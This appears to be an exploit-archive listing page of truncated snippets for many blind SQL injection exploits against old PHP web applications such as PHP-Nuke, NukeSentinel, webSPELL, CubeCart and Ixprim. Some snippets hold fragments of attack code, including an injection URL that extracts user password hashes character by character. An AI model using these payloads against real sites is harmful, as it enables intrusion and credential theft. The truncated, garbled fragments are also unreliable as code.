NukeSentinel 2.5.05 (nsbypass.php) Blind SQL Injection Exploit

No description provided by source. !/usr/bin/php URL: http://www.acid-root.new.fr/ ------------------------------------------------------------------ Usage: $argv0&nbs...

Nabopoll Blind SQL Injection vulnerabilies

Nabopoll have a bug in some files, for example results.php Line 27...31 -------------------------------- $resquestion = mysqlquery"select from nabopollquestions where survey=$survey order by id"; if $resquestion == FALSE || mysqlnumrows$resquestion == 0 error$rowsurvey, "questions not found";...

Nabopoll 1.2 - result.php?surv Blind SQL Injection

Nabopoll 1.2 - result.php?surv Blind SQL Injection milw0rm.com 2007-02-21...

Nabopoll 1.2 - 'result.php?surv' Blind SQL Injection

milw0rm.com 2007-02-21...

NukeSentinel 2.5.05 - 'nsbypass.php' Blind SQL Injection

!/usr/bin/php URL: http://www.acid-root.new.fr/ ------------------------------------------------------------------ Usage: $argv0 -url -victim Opts Options: -isadmin Is the victim an Admin 1 or a normal user default=0 ? -prefix Table prefix default=nuke -tid If you have already used this sploit -b...

PHP-Nuke 8.0 Final - 'INSERT' Blind SQL Injection (MySQL)

!/usr/bin/perl 0day exploit for PHP-nuke = 4.0.24, using 'brute force' Coded by:Maciej krasza [email protected] Screenshot: 0day exploit for PHP-nuke new; my $zadanie = HTTP::Request-newGET = $adres; my...

PHP-Nuke 8.0 Final - INSERT Blind SQL Injection (MySQL)

PHP-Nuke 8.0 Final - INSERT Blind SQL Injection MySQL !/usr/bin/perl 0day exploit for PHP-nuke = 4.0.24, using 'brute force' Coded by:Maciej krasza [email protected] Screenshot: 0day exploit for PHP-nuke new; my $zadanie = HTTP::Request-newGET = $adres; my...

NukeSentinel 2.5.05 (nsbypass.php) Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ============================================================== NukeSentinel 2.5.05 nsbypass.php Blind SQL Injection Exploit ============================================================== !/usr/bin/php -victim Opts Options: -isadmin Is the...

PHP-Nuke <= 8.0 Final (INSERT) Blind SQL Injection Exploit (mysql)

No description provided by source. !/usr/bin/perl 0day exploit for PHP-nuke =8.0 Final Blind sql injection attack in INSERT syntax version for mysql = 4.0.24, using 'brute force' Coded by:Maciej krasza [email protected] Screenshot: 0day exploit for PHP-nuke =8.0 Final Sql injection attack in...

xNews 1.3 (xNews.php) Remote Blind SQL Injection Vulnerability

Title : xNews 1.3 xNews.php Remote Blind SQL Injection Vulnerability Author : ajann Contact : : S.Page : http://www.x-dev.de $$ : Free SQL--------------------------------------------------------- http://target/path//xNews.php?act=shownews&id=SQL Example:...

Aztek Forum 4.0 - Multiple Vulnerabilities

Aztek Forum 4.0 - Multiple Vulnerabilities !/usr/bin/php Aztek Forum 4.1 Multiple Vulnerabilities Exploit header ================================================== sploit Owner - root status Trying to register a new user sploit Login/Password - phpsploit8435 status Trying to get database...

webSPELL 4.01.02 (gallery.php) Remote Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ================================================================= webSPELL 4.01.02 gallery.php Remote Blind SQL Injection Exploit ================================================================= allowredirection1; $xpl-cookiejar1; functio...

webSPELL 4.01.02 - 'gallery.php' Blind SQL Injection

allowredirection1; $xpl-cookiejar1; function istrue$xpl,$host,$path,$prefix,$gid,$pid,$uid,$i,$h $xpl-get"http://".$host.$path."gallery.php?action=window&galleryID=".$gid."&picID=".$pid."%20AND%20MIDSELECT%20password%20FROM%20".$prefix."user%20WHERE%20userID=".$uid.",".$i.",1=CHAR".$h."";...

Ixprim CMS 1.2 - Blind SQL Injection

Ixprim CMS 1.2 - Blind SQL Injection !/usr/bin/perl INFORMATIONS ============ Affected.scr..: Ixprim 1.2 Poc.ID........: 16061221 Type..........: Blind SQL Injection Risk.level....: Medium Conditions....: loadfile privilege ixp code only Src.download..: www.ixprim-cms.org Poc.link......:...

Ixprim CMS 1.2 Remote Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ================================================= Ixprim CMS 1.2 Remote Blind SQL Injection Exploit ================================================= !/usr/bin/perl INFORMATIONS ============ Affected.scr..: Ixprim 1.2 Type..........: Blind...

Ixprim CMS 1.2 - Blind SQL Injection

!/usr/bin/perl INFORMATIONS ============ Affected.scr..: Ixprim 1.2 Poc.ID........: 16061221 Type..........: Blind SQL Injection Risk.level....: Medium Conditions....: loadfile privilege ixp code only Src.download..: www.ixprim-cms.org Poc.link......: acid-root.new.fr/poc/16061221.txt...

CubeCart <= 3.0.11 (oid) Remote Blind SQL Injection Exploit

No description provided by source. !/usr/bin/php -q -d shortopentag=on ? printr' -------------------------------------------------------------------------------- CubeCart = 3.0.11 "oid" blind SQL injection / admin credentials disclosure exploit by rgod [email protected] site:...

[Full-disclosure] CubeCart <=3.0.14 Bind Sql Injection POC.

Exploit Discoverd By Novalok & Kasper Of KasaNova Security Coded By A Friend ?php / Vendor : Devellion Limited 2006 Exploit: Blind SQL injection look below for more info Impact: of Discovered by: KasaNova Security --------------------------------------------------------------------------------...

Woltlab Burning Board Lite 1.0.2 - Blind SQL Injection

Woltlab Burning Board Lite 1.0.2 - Blind SQL Injection ?php printr' -------------------------------------------------------------------------------- Woltlab Burning Board Lite 1.0.2 ZendHashDelKeyOrIndex / / blind sql injection exploit by rgod [email protected] site: http://retrogod.altervista.org...

etm_0612_sqlinj.pl.txt

!/usr/bin/perl -w use IO::Socket; use strict; Etomite CMS "id" SQL Injection Version: 0.6.1.2 Url: http://www.etomite.org Author : Alfredo Pesoli 'revenge' Description: The "id" parameter isn't properly sanitised before being returned in sql query and can be used to inject craft SQL queries, we c...